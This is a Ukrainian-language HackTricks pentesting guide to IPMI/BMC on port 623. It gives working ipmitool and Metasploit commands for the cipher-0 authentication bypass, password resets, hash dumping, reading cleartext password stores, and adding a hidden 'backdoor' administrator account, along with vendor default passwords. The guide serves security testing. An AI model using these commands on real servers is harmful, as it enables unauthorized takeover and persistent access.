13 KiB
623/UDP/TCP - IPMI
623/UDP/TCP - IPMI
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!
Інші способи підтримки HackTricks:
- Якщо ви хочете побачити вашу компанію рекламовану на HackTricks або завантажити HackTricks у форматі PDF, перевірте ПЛАНИ ПІДПИСКИ!
- Отримайте офіційний PEASS & HackTricks мерч
- Відкрийте для себе Сім'ю PEASS, нашу колекцію ексклюзивних NFT
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами на Twitter 🐦 @carlospolopm.
- Поділіться своїми хакерськими трюками, надсилайте PR до HackTricks та HackTricks Cloud репозиторіїв GitHub.
Базова інформація
Огляд IPMI
Інтерфейс управління платформою Inteligent (IPMI) пропонує стандартизований підхід до віддаленого управління та моніторингу комп'ютерних систем, незалежно від операційної системи або стану живлення. Ця технологія дозволяє системним адміністраторам управляти системами віддалено, навіть коли вони вимкнені або не реагують, і особливо корисна для:
- Конфігурацій перед завантаженням ОС
- Управління вимкненням живлення
- Відновлення після відмови системи
IPMI може відслідковувати температури, напруги, швидкості вентиляторів та джерела живлення, а також надавати інформацію про інвентар, переглядати журнали обладнання та надсилати сповіщення через SNMP. Для його роботи необхідні джерело живлення та підключення до ЛВС.
Починаючи з 1998 року, IPMI був підтриманий численними виробниками, покращуючи можливості віддаленого управління, особливо з підтримкою версії 2.0 для серійного зв'язку через ЛВС. Ключові компоненти включають:
- Контролер керування платою (BMC): Основний мікроконтролер для операцій IPMI.
- Шини та інтерфейси зв'язку: Для внутрішнього та зовнішнього зв'язку, включаючи ICMB, IPMB та різні інтерфейси для локальних та мережевих підключень.
- Пам'ять IPMI: Для зберігання журналів та даних.
Порт за замовчуванням: 623/UDP/TCP (Зазвичай використовується UDP, але також може працювати на TCP)
Перелік
Відкриття
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
Ви можете ідентифікувати версію за допомогою:
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
Вразливості IPMI
У світі IPMI 2.0 була виявлена значна вразливість безпеки Деном Фармером, яка виявляє вразливість через тип шифрування 0. Цю вразливість, детально задокументовану в дослідженні Дена Фармера, дозволяє несанкціонований доступ з будь-яким паролем, якщо цільовим є дійсний користувач. Ця слабкість була виявлена в різних BMC від виробників, таких як HP, Dell та Supermicro, що свідчить про поширену проблему у всіх реалізаціях IPMI 2.0.
Обхід аутентифікації IPMI через шифр 0
Для виявлення цієї вразливості можна використати наступний допоміжний сканер Metasploit:
use auxiliary/scanner/ipmi/ipmi_cipher_zero
Експлуатація цієї уразливості можлива за допомогою ipmitool
, як показано нижче, що дозволяє отримувати список та змінювати паролі користувачів:
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
Отримання віддаленого хешу пароля за допомогою аутентифікації IPMI 2.0 RAKP
Ця уразливість дозволяє отримати захешовані паролі з сіллю (MD5 та SHA1) для будь-якого існуючого імені користувача. Для тестування цієї уразливості Metasploit пропонує модуль:
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
Анонімна аутентифікація IPMI
Стандартна конфігурація в багатьох BMC дозволяє "анонімний" доступ, що характеризується порожніми рядками для імені користувача та пароля. Цю конфігурацію можна використовувати для скидання паролів користувачів за допомогою ipmitool
:
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
Чіткі паролі IPMI Supermicro
Критичний вибір дизайну в IPMI 2.0 передбачає зберігання чітких паролів у BMC для автентифікації. Зберігання Supermicro цих паролів у місцях, таких як /nv/PSBlock
або /nv/PSStore
, викликає серйозні проблеми з безпекою:
cat /nv/PSBlock
Вразливість Supermicro IPMI UPnP
Включення Supermicro UPnP SSDP слухача в його прошивку IPMI, зокрема на UDP порт 1900, вносить серйозний ризик безпеки. Вразливості в Intel SDK для UPnP пристроїв версії 1.3.1, які детально описані в розкритті Rapid7, дозволяють отримати root доступ до BMC:
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
Брутфорс
HP рандомізує пароль за замовчуванням для свого продукту Integrated Lights Out (iLO) під час виробництва. Ця практика відрізняється від інших виробників, які зазвичай використовують статичні облікові дані за замовчуванням. Нижче наведено узагальнення облікових даних за замовчуванням для різних продуктів:
- HP Integrated Lights Out (iLO) використовує фабричний рандомізований рядок з 8 символів як пароль за замовчуванням, що показує вищий рівень безпеки.
- Продукти, такі як Dell's iDRAC, IBM's IMM та Fujitsu's Integrated Remote Management Controller, використовують легко вгадувані паролі, такі як "calvin", "PASSW0RD" (з нулем) та "admin" відповідно.
- Так само, Supermicro IPMI (2.0), Oracle/Sun ILOM та ASUS iKVM BMC також використовують прості облікові дані за замовчуванням, де "ADMIN", "changeme" та "admin" слугують їх паролями.
Доступ до Хоста через BMC
Адміністративний доступ до контролера базової плати (BMC) відкриває різні шляхи для доступу до операційної системи хоста. Простий підхід полягає в експлуатації функціональності клавіатури, відео та миші (KVM) BMC. Це можна зробити шляхом перезавантаження хоста до кореневої оболонки через GRUB (використовуючи init=/bin/sh
) або завантаження з віртуального CD-ROM, встановленого як диск для відновлення. Такі методи дозволяють безпосередньо маніпулювати диском хоста, включаючи вставлення задніх дверей, вилучення даних або будь-які необхідні дії для оцінки безпеки. Однак це вимагає перезавантаження хоста, що є значним недоліком. Без перезавантаження доступ до працюючого хоста складніший і залежить від конфігурації хоста. Якщо фізична або послідовна консоль хоста залишається увімкненою, її легко можна захопити через функціональності BMC KVM або послідовного доступу через LAN (sol) за допомогою ipmitool
. Дослідження експлуатації спільних апаратних ресурсів, таких як шина i2c та чіп Super I/O, є областю, яка потребує подальших досліджень.
Введення задніх дверей в BMC з Хоста
Після компрометації хоста з BMC, локальний інтерфейс BMC може бути використаний для вставлення облікового запису задніх дверей, створюючи постійну присутність на сервері. Цей атака потребує наявності ipmitool
на скомпрометованому хості та активації підтримки драйвера BMC. Наведені команди ілюструють, як новий обліковий запис може бути внесений в BMC за допомогою локального інтерфейсу хоста, що обходить потребу в аутентифікації. Ця техніка застосовна до широкого спектру операційних систем, включаючи Linux, Windows, BSD та навіть DOS.
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
Shodan
порт:623